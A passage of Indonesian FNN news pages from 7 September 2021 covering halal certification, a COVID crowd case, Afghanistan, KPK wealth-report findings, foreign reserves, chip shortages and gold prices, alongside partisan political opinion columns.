akademisi berakrobat seperti badut, korupsi di semua lini, kebohongan dipertontonkan oleh petinggi negeri sekadar untuk mendapat tepuk tangan dari para penggemarnya yang dungu. Media mainstream melakukan penyesatan, tokoh yang konsisten menyuarakan kebenaran diserang buzzer bayaran dengan kata-kata keji dan fitnah karena mereka tidak sanggup berargumentasi dengan menggunakan nalar manusia. Ingat, Kerajaan Majapahit sebuah negara besar yang dihormati bangsa-bangsa pada masanya itu, akhirnya sirna oleh karena korupsi, perang saudara, dan kepemimpinan yang lemah, rakus, serta lancung pasca-wafatnya Hayam Wuruk dan Gajah Mada. Di bawah kepemimpinan yang lemah, lancung, koruptif, dan penuh muslihat ini apakah Sandyakala Ning Joko Widodo segera menjadi kenyataan?

Kementerian Agama Luncurkan Buku Saku Produk Halal

Jakarta, FNN - Kementerian Agama secara resmi meluncurkan buku saku halal. Buku tersebut sebagai panduan serta upaya meningkatkan literasi masyarakat soal jaminan produk halal (JPH) sejak dari hulu hingga hilir. Pelaksana Tugas Kepala Badan Penyelenggara Jaminan Produk Halal (BPJPH), Mastuki mengatakan, peningkatan literasi halal akan mendorong terwujudnya sadar halal di tengah masyarakat yang berimplikasi pada menguatnya ekosistem halal di Indonesia. "Terlebih, halal saat ini tidak lagi soal fiqih dalam konteks halal versus haram saja. Namun, secara konsep halal telah mengalami perkembangan pesat baik itu terkait syariah compliance atau kepatuhan syariah, maupun terkait berbagai bidang ilmu pengetahuan atau sains, juga dunia industri yang begitu dinamis," ujar Mastuki dalam keterangan tertulis yang diterima di Jakarta, Selasa, 7 September 2021. Buku saku halal tersebut membahas sejumlah topik penting tentang halal dan JPH. Mulai dari konsep halal dalam Islam dan sains, urgensi mengonsumsi produk halal, regulasi tentang sertifikasi halal. Juga dukungan pemerintah terhadap sertifikasi halal, halal sebagai global lifestyle, hingga tata cara mendeteksi atau memastikan produk halal. Dalam proses penyusunannya, Kemenag menggandeng Universitas Islam Negeri (UIN) Surakarta. Mastuki memastikan, peran UIN tersebut sejalan dengan amanat regulasi terbaru JPH yang memberikan kesempatan bagi peran perguruan tinggi dalam penyelenggaraannnya. "Ini menjadi salah satu bentuk peran penting perguruan tinggi khususnya PTKIN (Perguruan Tingi Keagamaan Islam Negeri) di mana UIN harus menjadi garda depan pengembangan kajian-kajian penting di bidang halal sesuai kapasitas yang dimiliki," kata dia sebagaimana dikutip dari Antara. Ia berharap, ke depan akan terus lahir berbagai karya-karya literasi halal. Hal itu diharapkan semakin memperkaya khazanah literasi halal di tengah masyarakat dalam upaya mewujudkan halal sebagai gaya hidup. "Meningkatnya literasi halal di masyarakat merupakan salah satu indikator penting sekaligus menjadi modal suksesnya penyelenggaraan jaminan produk halal di Indonesia. Terlebih, cita-cita mewujudkan Indonesia sebagai pusat produsen produk halal dunia telah menjadi komitmen bersama," kata dia. Rektor UIN Surakarta, Mudofir mengatakan, halal telah menjadi perhatian dunia. Urgensi konsep halal pun semakin besar dalam kehidupan masyarakat dunia. Apalagi konsep halal identik dengan green product, produk yang thayyib, yang baik, aman dan berkualitas untuk digunakan oleh umat manusia. "BPJPH bukan hanya milik Indonesia saja, melainkan telah menjadi milik dunia," kata Mudofir. (MD).

Polisi Naikkan Kasus Kerumunan Holywings ke Penyidikan

Jakarta, FNN - Polda Metro Jaya telah meningkatkan status kasus kerumunan di Restoran dan Bar Holywings Tavern Kemang di Jakarta Selatan ke tahap penyidikan. Meski naik statusnya ke penyidikan, tetapi polisi belum menetapkan tersangka. "Dari Kepolisian penegakan hukumnya kita lakukan penyelidikan kemarin, sudah kita klarifikasi beberapa saksi, sekarang sudah tingkat penyidikan," kata Kabid Humas Polda Metro Jaya Kombes Yusri Yunus di Mapolda Metro Jaya, Jakarta, Selasa, 7 September 2021. Yusri mengatakan, ada lima saksi yang telah diperiksa, empat orang di antaranya berasal dari Manajemen Holywings. "Ada 5 orang sudah kita lakukan pemeriksaan termasuk satu saksi, empat dari Manajemen Holywings yang kita lakukan pemeriksaan," katanya, sebagaimana dikutip dari Antara. Adapun pasal yang diduga telah dilanggar dalam kasus kerumunan di Holywings Kemang adalah Pasal 14 Undang-Undang Nomor 4 Tahun 1984 tentang Wabah Penyakit Menular. Mereka terancam dengan hukuman pidana 1 tahun penjara. "Ancamannya memang hanya 1 tahun," katanya. Satuan Polisi Pamong Praja (Satpol PP) Jakarta Selatan menyebutkan Holywings Kemang sudah tiga kali melanggar protokol kesehatan selama Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). "Pertama itu kurang lebih bulan Februari. Kedua, bulan Maret 2021 dan ketiga sekarang ini," kata Kepala Satuan Polisi Pamong Praja Jakarta Selatan Ujang Harmawan. Ujang menambahkan, untuk pelanggaran yang ketiga kali tersebut, Manajemen Holywings seharusnya mendapat sanksi penutupan tempat dan denda sebesar Rp 50 juta. Namun demikian, pemberian sanksi tersebut masih menunggu keputusan dari Pemerintah Provinsi DKI Jakarta. "Kalau itu kan (denda) Rp 50 juta sesuai pergub. Nanti kita lihat saja perintah dari pimpinan provinsi," kata Ujang. Berdasarkan Peraturan Gubernur DKI Nomor 3 Tahun 2021 tentang Peraturan Pelaksanaan Peraturan Daerah Nomor 2 Tahun 2020 tentang Penanggulangan Covid-19, pelaku usaha, pengelola atau penyelenggara usaha yang melanggar protokol kesehatan bisa dikenakan sanksi administratif mulai dari teguran tertulis, penghentian sementara, denda administratif, pembekuan sementara izin hingga pencabutan izin. (MD).

Jutaan Warga Afghanistan Butuh Bantuan Makanan

Jenewa, FNN - Afghanistan menghadapi runtuhnya layanan dasar dan makanan, serta persediaan bantuan lainnya yang akan segera habis. Jutaan warga negara yang kini di bawah kendali Taliban itu membutuhkan bantuan makanan dan kesehatan. Demikian diungkapkan Kantor Perserikatan Bangsa-Bangsa untuk Koordinasi Urusan Kemanusiaan (OCHA),, Selasa, 7 September 2021. Juru bicara OCHA Jens Laerke pada pengarahan PBB di Jenewa mengatkan, layanan dasar di Afghanistan runtuh dan makanan serta bantuan penyelamat lainnya akan segera habis. Menjelang konferensi bantuan internasional untuk Afghanistan pada 13 September mendatang, ia mendesak para donor untuk memberi lebih banyak bantuan. "Kami mendesak para donor internasional untuk mendukung seruan ini dengan cepat dan murah hati," tutur dia. Badan tersebut telah merilis seruan penggalangan dana sekitar 600 juta dolar AS (sekitar Rp 8,6 triliun) untuk memenuhi kebutuhan kemanusiaan bagi 11 juta orang untuk sisa tahun ini, di tengah peringatan soal kekeringan dan kelaparan. Lebih dari setengah juta orang telah mengungsi di Afghanistan tahun 2021. Hal itu terjadi ketika Taliban menyapu kemenangan di seluruh negeri, yang puncaknya diwarnai dengan jatuhnya kendali Ibu Kota Kabul pada 15 Agustus 2021 ke tangan Taliban. (MD).

Penelusuran 1.665 LHKPN 95 Persen Laporannya tidak Akurat

Jakarta, FNN - Deputi Pencegahan Komisi Pemberantasan Korupsi (KPK) Pahala Nainggolan mengakui dari 1.665 Laporan Harta Kekayaan Penyelenggara Negara (LHKPN) yang diperiksa oleh kedeputiannya, 95 persen menunjukkan ketidakakuratan laporan. "Sejak 2018-2020, kami diminta memeriksa 1.665 LHKPN oleh teman-teman Kedeputian Penindakan. Pemeriksaan itu untuk pro justicia. Ternyata 95 persen yang kami periksa detail isinya tidak akurat," kata Pahala Nainggolan dalam diskusi virtual "Apa Susahnya Lapor LHKPN Tepat Waktu dan Akurat", di Jakarta, Selasa, 7 September 2021. Menurut Pahala, KPK memiliki sistem elektronik yang menghubungkan KPK dengan perbankan, asuransi, bursa hingga Otoritas Jasa Keuangan. Sehingga, ketika KPK memasukkan satu nama, akan muncul kepemilikan rekening, asuransi, bursa dari orang tersebut beserta keluarganya. "Ini semua dengan sistem elektronik, jadi bisa dicek dengan cepat. Tentu, semua dijaga kerahasiannya, termasuk kami bekerja sama dengan BPN (Badan Pertanahan Negara)untuk mengecek sertifikat tanah dan kepemilikan kendaraan di samsat," ujar Pahala, sebagaimana dikutip dari Antara. Hasil analisis tim pencegahan KPK, sebanyak 95 persen dari 1.665 LHKPN tidak melapor dengan lengkap tanah, bangunan, rekening bank maupun investasi lain. "Dari 95 persen ini, selain tidak akurat melaporkan, juga melaporkan penghasilan yang agak aneh dibanding transaksi banknya. Jadi, 15 persen dari 95 persen menunjukkan profil yang tidak fit dengan data keuangan," kata Pahala. KPK, menurut Pahala, sejak 2021 juga sudah tidak menerima LHKPN yang laporannya tidak lengkap. "Yang tidak lengkap itu, jika nilainya tidak benar atau lampiran tidak lengkap atau surat kuasa anak, istri dan yang bersangkutan tidak ada, maka kami tidak diterima. Era sekadar menyampaikan sudah selesai, sekarang mulai ke akurasi, tidak boleh LHKPN diisi seenaknya," ujar Pahala pula. KPK selanjutnya juga melakukan analisis rata-rata, nilai harta terendah serta harta tertinggi dari 365.925 LHKPN yang diserahkan hingga 31 Juli 2021. Kekayaan rata-rata anggota DPR/MPR adalah Rp 23,43 miliar, dengan kekayaan tertinggi Rp 78,776 miliar dan terendah Rp 47,681 juta. Sedangkan rata-rata kekayaan anggota DPRD kabupaten/kota sebesar Rp 14,065 miliar, dengan nilai tertinggi kekayaan Rp 3 triliun dan terendah minus Rp 778,195 miliar. Selanjutnya rata-rata kekayaan wajib lapor dari BUMN adalah Rp 3,687 miliar, dengan kekayaan tertinggi Rp 2 triliun dan terendah minus Rp 280,861 miliar Sedangkan rata-rata kekayaan penyelenggara negara dari kementerian/lembaga adalah sebesar Rp 1,519 miliar, dengan harta tertinggi Rp 8,743 triliun dan terendah minus Rp 1,759 triliun "Umumnya yang kekayaannya tinggi adalah bekas pengusaha yang masuk ke dalam pemerintahan, tapi pada saat yang sama ada yang melaporkan minus Rp 1,759 triliun. Pengusaha biasanya isi harga sahamnya saja, bukan perusahaannya jadi kemungkinan di lapangan berbeda," kata Pahala pula. Pahala juga menyebut keanehan pelaporan harta penyelenggara negara yang menyebut hartanya minus Rp 1,759 triliun. Berdasarkan hasil analisis pelaporan LHKPN 2019-2020, sebanyak 70,3 persen penyelenggara negara melaporkan hartanya bertambah selama pandemi. Pertambahannya rata-rata Rp 1 miliar, sedangkan 6,8 persen kekayaannya tetap, dan 22,9 melaporkan penurunan. "Berdasarkan hasil analisis tersebut, kenaikan harta tidak dipengaruhi oleh penerimaan bersih," ujar Pahala. Pahala menegaskan, LHKPN yang nilainya besar bukanlah dosa, dan adanya kenaikan harta juga belum tentu menunjukkan perilaku korup. "Karena kenaikan itu dapat terjadi oleh beberapa hal. Seperti apresiasi nilai aset misalnya punya tanah NJOP naik, maka dilaporkan di LHKPN naik. Memang yang kami soroti secara khusus misalnya kalau rutin mendapat hibah, kenapa kok dapat hibah ke yang bersangkutan sebagai penyelenggara negara," kata Pahala. Selain itu, nilai harta juga dapat mengalami penurunan karena depresiasi nilai aset, penjualan aset, pelepasan aset, penambahan utang, ada harta yang telah dilaporkan sebelumnya tetapi tidak dilaporkan kembali pada pelaporan terbaru "Jadi mohon masyarakat jangan cepat-cepat mengatakan selama menjabat hartanya naik berarti korup, tidak. Silakah lihat e-Annoucement di sebelah mana kenaikannya. Kalau rendah juga belum tentu bersih.Akan tetapi, dalamnya harus dilihat apakah profilnya sudah cocok dengan hartanya. Kalau jumlahnya sudah pas, apakah transaksinya cocok sebagai penyelenggara negara," kata Pahala. (MD).

Fitnah Baliho Menyambar Anies

Oleh Ady Amar MEMASANG baliho besar-besar di seantero negeri dengan pesan heroik, di tengah masyarakat sedang susah karena dampak pandemi Covid-19 amat tidak efektif. Beragam pesan indah pada baliho itu justru disikapi negatif. Pemasangan baliho tokoh-tokoh politik itu meski dibungkus seolah menyemangati rakyat, tapi itu terbaca ingin mendongkrak nilai jual tokoh bersangkutan di 2024. Rakyat sudah sedikit faham, bisa membaca itu semua dengan baik. Rakyat tidak butuh disemangati dengan jargon-jargon heroik, yang itu tidak membuat kehidupan menjadi lebih baik. Tidak berpengaruh sedikitpun buat rakyat. Rakyat butuh perutnya terisi cukup dengan makanan sekadarnya. Maka, kehadiran baliho-baliho itu justru menyesakkan dada. Kemunculan baliho-baliho itu ciri dari ketidakpekaan tokoh bersangkutan terhadap kehidupan masyarakat yang terdampak pandemi. "Mending uangnya buat beli sembako dan disebar pada masyarakat yang kurang beruntung", itu pernyataan hari-hari ini yang keluar dari mulut mereka yang kesulitan hidup. Proyek menyebar baliho itu bukan proyek murah. Entah berapa puluh miliar, atau bahkan ratus miliar rupiah uang digelontorkan dalam pembuatan baliho-baliho di seluruh nusantara itu. Tampaknya proyek mahal itu tidak melalui pemikiran matang, terkesan serba mendadak dan mengharap hasil elektabilitas akan terdongkrak naik. Ternyata berkebalikan dari harapan, bahkan jadi bahan umpatan berbagai kalangan. Hasil berbagai lembaga survei politik pun membuktikan, bahwa baliho-baliho itu tidak menambah naiknya elektabilitas yang bersangkutan. Masih dikisaran angka persentase belum memadai untuk dijagokan dalam perhelatan Pilpres 2024. Bahkan dalam urutan 10 besar kandidat berbagai lembaga survei, posisinya ada di nomor bontot. Tampaknya Puan Maharani (Ketua DPR RI) dan Airlangga Hartarto (Ketum Golkar) bisa disebut paling banyak sebaran balihonya, bahkan paling semarak. Semacam jor-joran berharap menaikkan elektabilitas, meski yang didapat tidak sebagaimana yang diharap. Sedang uang yang digelontorkan tidak kecil. Fitnah Baliho Bagi Puan Maharani, Airlangga Hartarto dan ketua umum partai politik lainnya, yang juga ikutan latah memasang baliho, tentu tidak mempermasalahkan modal tidak sedikit yang dikeluarkan. Semua bisa ditutup oleh partainya. Puan memang bukan ketua umum partai, tapi ia anak dari Ibu Megawati Soekaroputri, yang ketua umum PDIP. Bahkan Puan itu yang digadang-gadang PDIP untuk maju Pilpres 2024. Anies Baswedan, Gubernur DKI Jakarta, juga Ganjar Pranowo, Gubernur Jawa Tengah, dan Ridwan Kamil, Gubernur Jawa Barat, adalah pimpinan daerah yang elektabilitas hasil surveinya, dari berbagai lembaga survei, setidaknya ada diurutan 3 besar, khususnya Anies dan Ganjar. Para kepala daerah itu, khususnya Anies Baswedan, sulit ditemui wajahnya menghias pada baliho atau banner di sebaran wilayah yang dipimpinnya. Tampang dan jargonnya tidak perlu dipampangkan pada baliho, itu tidak jadi pilihannya. Anies, khususnya, lebih konsen pada kerja terukur memenuhi janji-janji kampanyenya saat mengikuti pilkada DKI Jakarta 2017 lalu. Maka pemenuhan janji kampanye itu yang terus diikhtiarkan, "Maju Kotanya Bahagia Warganya", tidak menjadi sekadar jargon, tapi itu hal yang dirasakan warga Jakarta setelah dipimpin Anies Baswedan. Dan juga dirasakan penduduk luar Jakarta, yang mengunjungi dan melihat perubahan wajah Jakarta yang lebih ramah, baik bagi pengguna jalan kaki, para pesepeda, jembatan penyeberangan orang yang cantik gemerlap, transportasi yang terintegral, dan taman-taman bunga di sana-sini menyegarkan mata memandang. Karena kerja terukurnya, itu yang menyebabkan namanya tidak perlu dikerek tinggi-tinggi pada baliho. Tidak diperlukan bantuan baliho untuk mendongkrak elektabilitasnya. Secara alami ekektabilitas itu naik dengan sendirinya, dan itu atas kerja dan karya yang disajikan. Tapi tentu ada juga kelompok yang tidak bisa melihat perubahan Jakarta di tangan Anies, dan itu hal wajar. Mereka yang sementara ini belum bisa melihatnya, bahkan cenderung mencari kekurangan, meski tidak ditemukan, itu juga hal yang wajar. Mungkin mereka ada di barisan yang belum dapat "hidayah", sehingga tidak mampu melihat sebuah perubahan yang terang benderang. Terpenting mereka tidak buat hal-hal di luar kepatutan. Cara-cara tidak baik tidak seharusnya dilakukan, apalagi dengan cara memfitnah segala. Itu tampak dengan munculnya baliho Anies Baswedan di beberapa titik kota Jakarta. Tidak jelas siapa yang memasang. Tapi yang jelas publik faham, pemasangan baliho itu bukan dari pihak Anies. Lalu siapa, dan apa maksudnya? Siapa yang memasang, pastilah manusia, tapi tentang siapa lebih lanjut dan apalagi motivasinya, tidak persis tahu. Bisa jadi pemasangnya itu ingin menyamakan Anies dengan tokoh-tokoh politik lainnya, dan itu agar menggerus simpati masyarakat atasnya. Lalu seperti biasanya akan disusul sepaket dengan lembaga survei abal-abal, yang mengeluarkan liris hasil surveinya pasca bertebarannya baliho Anies Baswedan, yang tidak mustahil hasil survei akan menempatkan Anies pada posisi melorot. Anies tidak lagi bertengger di posisi 1 atau 2, sebagaimana hasil survei sebelumnya. Segala cara dilakukan untuk membunuh karakter Anies, dan itu upaya untuk mengganjalnya. Setelah umpatan dan fitnah para buzzer yang dialamatkan padanya tidak berhasil, maka fitnah baliho mulai dicobakan. Itu cara sama dengan media berbeda, seolah mampu menghina nalar publik yang dianggap mudah menyerap apa saja yang dimunculkan. Fitnah baliho pada Anies, itu langkah kasar yang mudah tertebak. Janganlah model begini diterus-teruskan, mubazir... (*) *) Kolumnis

BI: Cadangan Devisa RI Naik Jadi 144,8 Miliar Dolar AS pada Agustus

Jakarta, FNN - Bank Indonesia (BI) mencatat posisi cadangan devisa Indonesia pada akhir Agustus 2021 mencapai 144,8 miliar dolar AS, meningkat dibandingkan akhir Juli 2021 yang sebesar 137,3 miliar dolar AS. "Posisi cadangan devisa tersebut setara dengan pembiayaan 9,1 bulan impor atau 8,7 bulan impor dan pembayaran utang luar negeri pemerintah, serta berada di atas standar kecukupan internasional sekitar tiga bulan impor," ujar Direktur Eksekutif Kepala Departemen Komunikasi BI Erwin Haryono dalam keterangan resminya di Jakarta, Selasa. BI menilai cadangan devisa tersebut mampu mendukung ketahanan sektor eksternal serta menjaga stabilitas makroekonomi dan sistem keuangan. Menurut Erwin, peningkatan posisi cadangan devisa pada Agustus 2021 terutama terjadi karena adanya tambahan alokasi special drawing rights (SDR) sebesar 4,46 miliar SDR atau setara 6,31 miliar dolar AS yang diterima oleh Indonesia dari Dana Moneter Internasional (IMF) Pada 2021, IMF menambah alokasi SDR dan mendistribusikannya kepada seluruh negara anggota, termasuk Indonesia secara proporsional sesuai kuota masing-masing. Hal itu ditujukan untuk mendukung ketahanan dan stabilitas ekonomi global dalam menghadapi dampak pandemi COVID-19, membangun kepercayaan pelaku ekonomi, dan juga untuk memperkuat cadangan devisa global. "Alokasi SDR tersebut didistribusikan kepada negara-negara anggota IMF tanpa biaya," ungkap Erwin. Ke depan, bank sentral memandang cadangan devisa tetap memadai, didukung oleh stabilitas dan prospek ekonomi yang terjaga, seiring dengan berbagai respons kebijakan dalam mendorong pemulihan ekonomi. (mth)

Tokoh Agama Diingatkan Supaya Menjaga Keharmonisan Antarumat

Jakarta, FNN - Seluruh tokoh agama, baik secara individu maupun dalam organisasi kelompok supaya aktif berpartisipasi dalam menjaga keharmonisan beragama di masyarakat. "Di sinilah peran pentingnya para tokoh agama serta pegiat dialog lintas iman sebagai panutan dan rujukan bagi masyarakat dalam menjaga kerukunan dan keharmonisan beragama," kata Wakil Presiden, Ma'ruf Amin saat membuka Dialog Nasional Lintas Agama Badan Pengelola Masjid Istiqlal secara virtual dari Jakarta, Selasa, 7 September 2021. Wapres mengatakan, kegiatan dialog diikuti tokoh lintas agama penting diselenggarakan karena keberagaman menjadi ciri khas persatuan dan kesatuan di Indonesia. "Kemajemukan masyarakat Indonesia dengan berbagai latar belakang agama, suku, budaya, dan ras merupakan karakter khas bangsa Indonesia yang menjadi penguat persatuan dan kesatuan," katanya, sebagaimana dikutip dari Antara. Terkait upaya dalam penanganan pandemi Covid-19, Wapres meyakini pentingnya peran tokoh agama dalam membawa perubahan lebih baik dalam adaptasi normal baru. "Untuk bisa melalui masa pandemi, saya meyakini pentingnya peran agama sebagai pembawa terang atau pencerahan dalam mendorong suatu gerakan perbaikan dan perubahan (al-ishlahat) dalam berbagai bidang," ucapnya. Oleh karena itu, Wapres mengajak seluruh tokoh dan pemuka agama supaya terus membangkitkan semangat masyarakat untuk pemulihan krisis pandemi Covid-19. "Sejalan dengan ajaran agama yang kita anut masing-masing, kita sama-sama memahami bahwa Allah SWT, Tuhan Yang Maha Esa tidak akan mengubah nasib suatu bangsa, kecuali kita berusaha keras untuk mengubah nasib kita sendiri," katanya. Wapres berharap seluruh pimpinan organisasi keagamaan dan pemuka agama mampu mengajak umat dan masyarakat supaya tidak berputus asa dan penuh optimisme menghadapi cobaan pandemi Covid-19. (MD).

Pemkot Jakbar Sebut Limbah Anorganik Bisa Ditukar Uang di Bank Sampah

Jakarta, FNN - Pemerintah Kota Jakarta Barat menyebut limbah anorganik bisa ditukar dengan uang di bank sampah sepanjang warga melakukan pemilahan terlebih dahulu. Limbah anorganik yang diterima bank sampah berupa kertas, kardus, plastik kresek, plastik keras, besi kaleng, botol, tutup botol berbahan aluminium ringan, dan tembaga. "Semua jenis sampah anorganik bisa ditukar uang di bank sampah sepanjang sebelum diserahkan dipisah-pisahkan terlebih dahulu," jelas Subarna Martadinata selaku Petugas pengawas Sudin Lingkungan Hidup (LH) sekaligus Pengurus Bank Sampah Induk Satu Hati Divisi Sosialisasi di Jakarta, Selasa. Setelah sampah dipisahkan, warga bisa menghampiri 803 bank sampah unit yang tersebar di setiap RW, kelurahan, Kecamatan ataupun sekolah-sekolah. Di bank sampah, lanjut Subarna, sudah tersedia tiga unit keranjang yang diperuntukkan untuk beberapa jenis sampah. "Biasanya ada tiga keranjang. Keranjang merah itu buat sampah B3, hijau buat organik, dan kuning ini sampah yang laku di bank sampah yaitu sampah anorganik," jelas Subarna. Di bank sampah, petugas akan memberikan informasi terkait berapa harga jenis sampah anorganik per kilonya. Berdasarkan data yang diterima Antara dari Subarna, harga sampah jenis anorganik ini bervariasi. Paling murah dihargai Rp250 per kilogram untuk jenis botol beling. Paling tinggi yakni sampah dengan jenis tembaga merah dan tembaga bakar dengan harga Rp68.000 per kilogram. Setelah itu, pihak Sudin LH akan menjemput sampah dari setiap bank sampah unit untuk diantar ke bank sampah induk yang berlokasi di Asrama Dinas Lingkungan Hidup, Bambu Larangan, Cengkareng, Jakarta Barat. Di sana lah sampah anorganik akan didaur ulang oleh pihak swasta yang telah bekerja sama dengan pemerintah kota dan provinsi. Nantinya pihak bank sampah induk akan menghitung total berat sampah dari setiap bank sampah unit. Berat total itu nanti akan dikalkulasikan menjadi sejumlah uang yang akan dikirim ke setiap bank sampah unit. Subarna melanjutkan pembagian uang tersebut sesuai dengan kesepakatan pihak pengurus bank unit dengan warga. "Nah nanti bank sampah unitnya kan langsung berhubungan dengan warga tuh, ada yang sesuai kesepakatan," jelas dia. Dia pun mencontohkan ada beberapa pengurus bank sampah tingkat RW yang sepakat dengan warga agar uang tersebut ditabungkan. Beberapa wilayah juga ada yang langsung membagikan uang tersebut ke setiap warga. Subarna mengatakan program ini cukup efektif membantu pemerintah mengurangi jumlah sampah yang menumpuk di Tempat Pembuangan Akhir (TPA) Bantar Gebang. Dia berharap masyarakat semakin antusias berkontribusi dalam program ini demi memudahkan pemerintah mengurangi jumlah sampah. (mth)

Lembah Panjshir Direbut Taliban, Oposisi Terus Melawan

Jakarta, FNN - Taliban mengklaim kemenangan mereka di lembah Panjshir, Afghanistan. Akan tetapi, pasukan oposisi mengatakan mereka akan terus melawan. Dengan jatuhnya Panjshir, Taliban berhasil menyelesaikan perjuangan merebut Afghanistan. Mereka berjanji akan segera mengumumkan pemerintah baru. Gambar-gambar di media sosial memperlihatkan anggota Taliban berdiri di depan gerbang kompleks gubernur Panjshir usai bertempur sepanjang akhir pekan dengan Front Perlawanan Nasional Afghanistan (NRFA) yang dipimpin Ahmad Massoud. "Panjshir, tempat persembunyian terakhir musuh yang melarikan diri, telah direbut," kata juru bicara Taliban Zabihullah Mujahid dalam sebuah konferensi pers. Taliban meyakinkan masyarakat Panjshir bahwa tak akan ada "tindakan diskriminatif terhadap mereka". Secara etnik, orang-orang Panjshir berbeda dengan kelompok Taliban yang didominasi suku Pashtun. Kedua kelompok saling berperang saat Taliban memerintah Afghanistan pada 1996-2001. "Mereka adalah saudara-saudara kami dan (kami) akan bekerja sama demi tujuan bersama dan kesejahteraan negara ini," kata Mujahid, sebagaimana dikutip dari Antara. Massoud - pemimpin pasukan dari sisa-sisa tentara Afghanistan dan pejuang militan lokal - tetap menentang dan tidak mengakui kekalahan. "Kami ada di Panjshir dan perlawanan kami akan berlanjut," katanya lewat Twitter. Tidak jelas di mana Massoud berada. Dia mengatakan dirinya aman, namun tidak menjelaskan lebih lanjut. Mujahid mengatakan, dia telah diberitahu bahwa Massoud dan mantan wakil presiden Amrullah Saleh telah melarikan diri ke negara tetangga, Tajikistan. Ali Maisam Nazary, kepala hubungan luar negeri NRFA, mengatakan klaim kemenangan Taliban itu palsu. Pasukan oposisi akan terus melawan mereka. "Pasukan NRF saat ini berada di semua posisi strategis di seluruh lembah untuk melanjutkan perlawanan," kata dia lewat Facebook. Taliban merebut kendali atas sebagian besar wilayah Afghanistan saat menduduki ibu kota Kabul pada 15 Agustus, setelah pemerintah dukungan Barat runtuh dan Presiden Ashraf Ghani meninggalkan negara itu. Panjshir, kantong terakhir perlawanan bersenjata terhadap Taliban, memiliki riwayat sebagai tempat yang sulit ditaklukkan. Lembah pegunungan yang terjal itu masih dipenuhi bangkai tank-tank yang hancur selama perang yang panjang melawan Uni Soviet pada tahun 1980-an. Pertempuran Panjshir telah menjadi contoh paling mencolok dari perlawanan terhadap Taliban. (MD).

Toshiba Prediksi Pasokan Chip Masih Rendah Hingga 2022

Jakarta, FNN - Toshiba Corp. memprediksi pihaknya tidak akan dapat memenuhi permintaan chip pengatur daya atau semikonduktor hingga akhir 2022. Pernyataan ini seakan menjadi peringatan baru bagi pembuat mobil, elektronik, dan mesin industri yang berjuang dengan kelangkaan chip. "Pasokan chip akan tetap sangat tipis hingga setidaknya September tahun depan," kata direktur yang bertanggung jawab atas semikonduktor di salah satu unit perusahaan Toshiba, Takeshi Kamebuchi, dikutip dari Bloomberg, Selasa. "Dalam beberapa kasus, kami mungkin menemukan beberapa pelanggan tidak terlayani sepenuhnya hingga 2023," ujarnya menambahkan. ​Kekurangan bahan dan permintaan yang melebihi kapasitas output harus disalahkan atas ketidakmampuan Toshiba untuk memenuhi pesanan untuk komponen yang tidak memerlukan teknologi produksi canggih dan biasanya dianggap sebagai komoditas, menurut Kamebuchi. Ia menambahkan, Toshiba berencana menginvestasikan 60 miliar yen (545 juta dolar AS) dalam tiga tahun hingga Maret 2024 untuk meningkatkan output semikonduktor daya. Pembuat mobil termasuk Toyota Motor Corp dan Volkswagen AG harus menghentikan atau mengurangi produksi karena kekurangan chip yang meluas. Kamebuchi mengatakan beberapa pembuat chip memprioritaskan perusahaan mobil dalam produksi mereka dan Toshiba juga melakukan segala upaya untuk meminimalkan dampak pada jalur perakitan mobil. "Kami biasanya menerima pesanan berminggu-minggu dan berbulan-bulan sebelumnya, tetapi saat ini kami menghadapi peningkatan permintaan selama setengah tahun ke depan dan seterusnya," katanya. "Kontrak jangka panjang yang menumpuk seperti ini adalah hal baru bagi kami," imbuhnya. Perusahaan konsol video game adalah korban menonjol lainnya dari kekurangan chip. Sony Group Corp mengatakan masih yakin dapat menjual lebih dari 14,8 juta unit PlayStation 5 tahun fiskal ini untuk menyamai kecepatan pendahulunya, tetapi produksi konsol baru pada kuartal April-Juni tertinggal di belakang PlayStation 4 untuk periode yang sama. Di sisi lain, produksi Switch Nintendo Co. belum cukup untuk melayani permintaan pelanggan, menurut Presiden Shuntaro Furukawa. Perusahaannya berniat menjual 25,5 juta unit Switch pada tahun fiskal berjalan. Produksi konsol game rentan dengan kekurangan komponen. Toshiba mengadakan diskusi harian tentang cara terbaik untuk mengalokasikan output terbatasnya, kata Kamebuchi. Perusahaan juga meminta maaf kepada beberapa pelanggan karena tidak dapat mengirim tepat waktu. "Kami mempertimbangkan pelanggan mana yang menghadapi situasi paling parah, seperti risiko seluruh lini produksi terhenti atau bisnis dilenyapkan tanpa pasokan chip," katanya. "Pembuat konsol game termasuk di antara pelanggan yang mengajukan tuntutan terkuat dan saya dengan tulus meminta maaf atas frustrasi mereka karena tidak ada dari mereka yang memiliki kepuasan 100 persen," imbuh Kamebuchi. (mth)

Harga Emas Turun Tertekan Penguatan Dolar Amerika

Chicago, FNN - Harga emas melemah pada akhir perdagangan Senin (Selasa pagi WIB) tertekan oleh dolar yang lebih kuat. Akan tetapi, spekulasi baru bahwa Federal Reserve AS mungkin akan memperlambat langkah-langkah dukungan ekonomi yang didorong oleh pandemi membuat emas bertahan dekat level tertinggi 2,5 bulan. Kontrak emas paling aktif untuk pengiriman Desember di divisi Comex New York Exchange, merosot 8,20 dolar AS atau 0,45 persen, menjadi menetap pada 1,825,50 dolar AS per ounce. Namun, perdagangan kurang bergairah karena libur Hari Buruh AS pada hari Senin (6/9). Emas berjangka melonjak 22,2 dolar AS atau 1,23 persen menjadi 1,833,70 dolar AS pada hari Jumat (3/9) setelah jatuh 4,5 dolar AS atau 0,25 persen menjadi 1.811,50 dolar AS pada hari Kamis (2/9), dan merosot 2,1 dolar AS atau 0,12 persen menjadi 1.816 dolar AS pada hari Rabu (1/9). Indeks dolar yang mengukur greenback terhadap enam mata uang utama lainnya, menguat 0,20 persen pada 92,2194. Haltersebut, membuat emas kurang menarik bagi mereka yang memegang mata uang lainnya. Data Departemen Tenaga Kerja AS menunjukkan pada hari Jumat (3/9) bahwa angka penggajian (payrolls) nonpertanian meningkat 235.000 pekerjaan bulan lalu, jauh di bawah ekspektasi para ekonom untuk kenaikan 728.000 pekerjaan. "Setelah data tenaga kerja mengecewakan pasar, investor melihat lebih sedikit tekanan pada Jerome Powell untuk mulai melakukan tapering (pengurangan pembelian obligasi)," kata Carlo Alberto De Casa, analis pasar di Kinesis. "Tapering dapat dimulai mungkin hanya pada Desember dan ini adalah elemen pendukung untuk harga emas," kata De Casa. Ia menambahkan bahwa emas akan tetap di atas 1.800 dolar AS per ounce dalam waktu dekat. Ketua Fed Powell mengisyaratkan bulan lalu bahwa pemulihan pekerjaan yang kuat adalah prasyarat bagi bank sentral mulai 